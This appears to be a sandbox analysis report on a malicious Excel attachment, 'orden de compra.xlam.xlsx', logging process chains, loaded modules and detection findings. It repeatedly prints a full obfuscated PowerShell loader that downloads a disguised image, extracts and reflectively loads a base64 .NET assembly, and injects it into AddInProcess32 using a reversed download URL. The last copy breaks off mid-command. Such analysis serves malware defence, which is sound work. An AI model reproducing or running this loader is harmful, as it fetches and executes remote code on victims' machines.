Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\portugalslovenia.js"	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: msi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: secur32.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: webio.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: propsys.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wbemcomn2.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wbemcomn2.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntdsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: credssp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vaultcli.dll	Jump to behavior

Source: C:\Windows\SysWOW64\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:

Source: orden de compra.xlam.xlsx

Initial sample: OLE indicators vbamacros = False

Data Obfuscation

.NET source code contains potential unpacker

Source: 6.2.powershell.exe.63545dc.3.raw.unpack, RunPEE.cs	.Net Code: Run4 System.Reflection.Assembly.Load(byte[])
Source: 6.2.powershell.exe.270000.0.raw.unpack, RunPEE.cs	.Net Code: Run4 System.Reflection.Assembly.Load(byte[])

Obfuscated command line found

Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )"
Source: C:\Windows\SysWOW64\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' 